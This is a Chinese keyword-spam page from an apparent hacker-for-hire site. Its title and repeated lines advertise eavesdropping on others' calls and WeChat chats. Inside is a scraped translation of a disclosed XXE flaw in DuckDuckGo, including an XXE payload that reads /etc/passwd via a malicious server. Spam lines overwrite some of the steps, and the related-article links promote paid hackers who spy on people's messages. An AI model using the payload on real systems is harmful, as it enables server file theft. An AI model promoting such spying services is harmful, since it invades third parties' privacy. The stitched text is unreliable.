窃听别人手机的通话_窃听别人微信聊天记录

访客4年前关于黑客接单912

窃听别人手机的通话_窃听别人微信聊天记录

近期,白帽汇安全研究院发现hackerone网站披露了DuckDuckGo搜索引擎的一个XXE漏洞。

DuckDuckGo是一个出现于2011年的互联网搜索引擎,其总部位于美国宾夕法尼亚州。和传统搜索引擎(谷歌,必应等)相比,DuckDuckGo着重保护用户的隐私,不监控、不记录用户的搜索内容,还会自动处理用户发出HTTP请求中的敏感信息(如Referer头),尽量减少第三方能获取的信息。

漏洞详情

漏洞发现者在浏览测试https://duckduckgo.com网站时,发现在路径/x.js中的参数?u存在XXE注入。

只要输入一个远程的xm l资源http://malicious_server/xxe.xml,服务器就会解析并执行,并返回一个输出。

而且网站对xm l代码没有任何控制,所以攻击者可以引入一些恶意xm l代码,对服务器进行攻击。

具体步骤如下

1.攻击者在他所控制的服务器中放上一个恶意xml文件,并对公网开放,文件内容如下。

<?xm l version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><creds> <user>&xxe;</user> <pass>mypass</pass></creds>

窃听别人手机的通话_窃听别人微信聊天记录

2.窃听别人手机的通话_窃听别人微信聊天记录

3.返回的页面可以看到xm l文件解析结果

在确认了漏洞后,DuckDuckGo工作人员也对其表示了感谢。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:窃听别人手机的通话_窃听别人微信聊天记录

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA- *** 空间安全搜索引擎、FOEYE- *** 空间检索系统、NOSEC-安全讯息平台。

为您提供: *** 空间测绘、企业资产收集、企业威胁情报、应急响应服务

标签: 好话题

相关文章

黑客教你查询某人信息(有信誉的黑客联系方式)_黑客联系方式

黑客教你查询某人信息(有信誉的黑客联系方式),他们觉得对方不应当出售任何器械,但究竟并非云云。因为期间变迁和多米信息情况的影响,保持婚配的根基老本大幅上涨。若你没有故意识地经管婚配,你乃至大概不晓得为...

微信商城怎么制作?

  微信现在是一个非常具有时尚功能的系统,其中的微信商城也是现在比较受人们欢迎的一款购物系统。现在在这一个系统当中,有大概6亿的用户在进行购物者,而这一个营销方式也是很受市场的欢迎的十分具有市场前景。...

陌生人,可以查我的微信聊天记录吗-免费接单黑客QQ

陌生人,可以查我的微信聊天记录吗-免费接单黑客QQ 9月3日,公安部在河南郑州召开全国公安机关打击“套路贷”犯罪工作推进会,对全面推进打击“套路贷”违法犯罪活动进行再动员再部署,并公布了公安机关打击...

怎么调查别人手机里的微信聊天记录-免费接单黑客QQ

怎么调查别人手机里的微信聊天记录-免费接单黑客QQ 近期浙江温州的医院发生了一起奇怪的事。 有一伙人专门挑中午时间出入医院诊室。 经警方查证原来是黑客非法入侵。 而在其背后还有一个巨大的灰色产...

黑客教你查询某人信息,这个方法你一定不知道

黑客教你查询某人信息,这个方法你一定不知道 当今咱们朋友们的生存程度也进步得很迅速,也转变了咱们的生存。当今咱们都有了手机,这给咱们带来了极大的便当。好比,咱们通常都邑安置的社群软件微信就给咱们带来...

免费微信监听聊天记录软件(黑科技远程偷看微信记录)_微信监听

免费微信监听聊天记录软件(黑科技远程偷看微信记录),微信Tantian记录的数据太多,不小心删除了。然而,有一天突然有人告诉我,微信的聊天记录可以恢复。活跃的微信占用了太多的记忆。如果我们需要完全删除...